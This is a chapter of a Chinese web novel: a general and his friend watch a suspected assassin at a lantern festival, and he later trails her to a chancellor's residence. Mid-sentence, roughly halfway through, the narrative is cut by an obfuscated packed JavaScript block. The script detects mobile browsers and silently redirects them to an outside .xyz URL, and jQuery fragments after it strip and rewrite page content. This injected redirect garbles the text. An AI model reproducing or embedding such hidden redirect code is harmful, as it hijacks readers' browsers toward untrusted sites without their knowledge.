月色朦胧,千万盏花灯在屋檐楼宇间次第燃起,如若火树银花绽放。
人潮涌动,卖糖人的小贩吆喝着,杂耍艺人喷出团团火焰,戴着面具的郎君姑娘们从人群中穿过,欢声笑语不绝于耳。
与之相反,烟云阁三层雅阁寂静得可怖。
半开的雕花木窗外,江辞尘漫不经心地垂眸,在下一刻定住了视线。
“你仅凭自己猜想,就给一个未出阁的小女子定罪,未免太荒唐。”
江辞尘讥讽道:“她才不是什么小女子。”
谢厌闭了闭眼,沉声道:“你有证据吗?你不过就是见过她一眼,觉得她面纱下的轮廓很像之前截杀沈之砚的死士,太牵强了,天底下女子带上面纱,十个中八个长得像。”
江辞尘抬手示意他噤声,目光仍停留在那姑娘身上,谢厌顺着江辞尘的视线望去。
人潮中,一袭青绿罗裙的少女格外醒目,莹白如玉的面容在灯火映照下近乎透明,眉如远山含黛,杏眸清亮如星,正仰头望着高处一盏琉璃走马灯。
一个小贩拦住她去路,殷勤地递上一个狐狸面具,洛晚将面具戴在脸上,裴少川身旁的小厮掏出荷包,取出一粒碎银,小贩眉开眼笑地接过银子。
随后三人混入人潮,朝热闹的灯谜区走去。
阁楼上,江辞尘将这一幕尽收眼底:“谁说我只见过她一面?”
先前野猎后长街上不经意的一眼,让江辞尘记忆深刻,女子面纱下的轮廓与乌潭镇那个死士太为相似。
江辞尘派人去查了她的来历,池敬安之女池绾绾,前几年因病重与外祖父四处奔走求医,外祖父去世后,一直经商卖茶,前段时间才回京师。
见到“池绾绾”的画像后,好巧不巧,江辞尘认出这是那个在锦西城,故意朝他丢面纱的女子。
每次出现都恰到好处,像精心布置的棋局。
巧合多了,便不是巧合了。
又去查了她的行踪,但据从锦西城出发车夫所说,他们并未路过乌潭镇,是直接回的京师,如此一来,便是朝着相反的方向走。
谢厌对上他的目光,无奈道:“我知道你想说乌潭镇是第一面。”
“不。”江辞尘懒洋洋地道:“锦西城是第一面。”
“你说锦西城那个死士也是她?”谢厌看着他,目光尽是不可思议:“那她怎么会知道沈之砚会从乌潭镇走?”
“不是这件事,是另一件,拿下锦西城两日后,入主游街时她就站在街边,”江辞尘哼笑一声,像是叙述一件很可笑的事:“试图用卑劣手段引起我的注意。”
谢厌轻飘飘地叹了口气,端起茶盏道:“那她成功了。”
江辞尘倒也没反驳他的话,只低头看起军书。
谢厌边喝茶边把目光投向了窗外的长街灯会,开始的三人早已不在这条街上。
至于池绾绾的身世谢厌也略知一二,从锦西城到京师不过两城,未必不是巧合。
雅阁外,黑影停下脚步,抬手轻叩窗棂三声,又缓两声。
谢厌这才将目光移回:“进来。”
门扉轻启,陈南辕躬身入内,带进一缕夜风的寒意单膝跪地,抱拳行礼:“公子,属下回来了。”
江辞尘闻言抬眸:“查到什么了?”
陈南辕道:“池绾绾确为沈之砚第一个学生,是沈之砚亲自所选。”
按理来说,以沈之砚的家世与资质,区区一个少师真是埋没他,但皇室向来性子多疑,沈之砚西凉为质十年,北国皇室不敢轻易重用他亦在情理之中。
最近来听说沈之砚在弘文馆破例收了第一个学生,正是“池绾绾”,陈南辕便被派去查探弘文馆情况。
谢厌犹豫了一下,问江辞尘道:“家世平平,沈之砚为何选她?长得好看?食色性也,连沈之砚也不能免俗。”
江辞尘意外道:“你觉得她长得好看?”
谢厌迟疑道:“……你不觉得吗?”
江辞尘不着痕迹地转移话题:“若是随随便便就被人猜到他的目的,那他就不是沈之砚了。”他放下军书,手支下颌:“还查到什么?”
陈南辕摸了摸鼻子,道:“还查到池绾绾今早练琴时把琴弦拨断了,下午上课时,顾司寒和裴少川还因她打了起来。”
谢厌轻而短促地笑了一声:“我现在信了你的话了,她才不是什么小女子,哪有小女子能把琴弦拨断,两个公子还因她打架,当真是红颜祸水。”转而又正色道:“但我还是不信她就是那个杀手。”
江辞尘并不惊讶,嘴角反而露出一个意料之中的冷笑,伸了个懒腰,道:“无所谓你信不信,真相出来的时候,别觉得自己蠢就行。”
谢厌想起什么,脑中飞快地思索着:“按照你的逻辑,那人应该联系池绾绾才对。”
若说“池绾绾”是乌潭镇的死士,那在乌潭镇擒住的死士影子定会想法联系她。
这些天过去,池绾绾除了在醉仙客栈见过裴少川外,身边没有出现过任何可疑的人。
任务没有完成,影子却一点动静都没有,更匪夷所思的是,他的任务居然会是刺杀沈之砚。
江辞尘眉梢微动,烛火在他轮廓分明的脸上跳动,映得那双如墨的眼越发深邃,他淡淡道:“在京师,各方势力虎视眈眈,他不敢轻举妄动。”
谢厌隐晦地问:“他的身份是真的吗?”
听雨楼有规矩,“主子”死,“影子”不能独活,但鲜少有影子会主动替死,多半也是共谋生路。
甚至有主子死后,影子叛逃,所以听雨楼有一个三阶死士,专门铲除叛徒。
但那人不一样,他不是单纯的影子,听雨楼的规矩他定不会全然遵守,他却依旧愿意为主子死,可见俩人关系并不一般。
除此之外,或许那人料准了,众人知道他的身份后不会杀他。
却未必不会杀听雨楼的死士,所以他愿意冒着身份暴露的风险,也要救下主子一命。
可谓情真意切。
“核实了,是真的,已安然送回去了。”江辞尘冷冷道:“你应该反思,烟云阁为何没有这件事的记载。”
谢厌耸耸肩,坦然道:“烟云阁要是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748327|174201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么都知道,那江湖其他组织还活不活了?况且一定是有人提前安排好了所有事情,这才瞒过了所有人。”
江辞尘:“……”
一大颗烟花“咻”直窜九霄,江辞尘转头看去,窗外烟花恰在此刻绽放,绚烂火光映在他眼中,宛若繁星坠落银河。
斑斓多彩的焰火登时照亮了整个雅阁,于是屋子内不再是单调的橙黄色烛光,是无与伦比、五彩缤纷的世间。
塞外边疆硝烟弥漫,不比京师,他有三年没见过京师的烟花了。
不多时,外面响起急匆匆上楼梯的脚步声,一青年火急火燎地冲进来。
穿着和陈南辕相似的衣衫,长着和陈南辕一模一样的脸。
陈北辙胸膛剧烈地起伏,顿了顿,低下头道:“公子,跟丢了,她和那裴家小少爷分开了,裴家小少爷正到处找她。”
从江辞尘长街见过洛晚一眼起疑后,陈北辙便被江辞尘派去暗中跟着洛晚。
陈北辙受过专业训练,即使灯会时节人潮汹涌,一眨眼的功夫将一个闺中女子跟丢,要么是陈北辙浑水摸鱼,要么是洛晚故意为之。
江辞尘挑眉看了眼谢厌,抬手取下悬于壁上的长剑,指尖触及冰凉的鞘身,腕骨一翻,“铮”的一声轻鸣,拇指顶开了三寸青锋,焰火映在森然刃口。
窗外焰火停了,烛光下的江辞尘勾了勾唇,挂着顽劣的笑:“我现在就去给你抓回来,让你看看这‘小女子’的真面目。”
谢厌没说什么,只是抱拳一副“佩服佩服”的模样。
江辞尘离开时道:“自去军营领三十军棍。”
“是!”陈北辙应声。
乌潭镇一事若非沈之砚拖延时间,他们未必能赶上。
那人在京师腹背受敌,不敢轻举妄动,但洛晚没有被众多眼睛盯着,既要完成听雨楼的任务,那她迟早会出手。
刚回到京师,江辞尘索性直接安排暗卫守在沈之砚身边,守株待兔。
夜风卷着寒气掠过,远处传来更夫模糊的梆子声。
陈南辕跟上江辞尘,道:“暗卫一直守着,沈公子应该不会出事。”
“吩咐下去,等人出现,不要打草惊蛇。”
与喧闹的长街不同,宰相府内万籁俱寂,只有几队侍卫提着灯笼在回廊间无声穿行。
少年一袭玄色织金锦袍裹身,半蹲在屋檐之上,一只手搭在膝盖处,衣襟袖口晕开暗红边纹,玄袍做面,红色为衬。
檐下灯笼昏黄,照不亮他半掩在阴影里的眉眼,那双桃花般的眸子依旧如寒星般冷漠。
风过,一片枯叶擦着剑穗飘落。
是兔子还是狐狸呢。
庭院深深,唯一燃着蜡烛的,是沈之砚的房间。
烛火轻晃,窗纸上叠出两道身影,一高一矮,宛如月下对弈的仙鹤与灵猫。
不多时,江辞尘看见洛晚怀抱着本书踏出门槛,沈之砚执灯相送。
“有劳少师……”洛晚转身拱手。
沈之砚似有所感,抬眼望向梧桐屋檐上的阴影,朗声道:“江少将军!”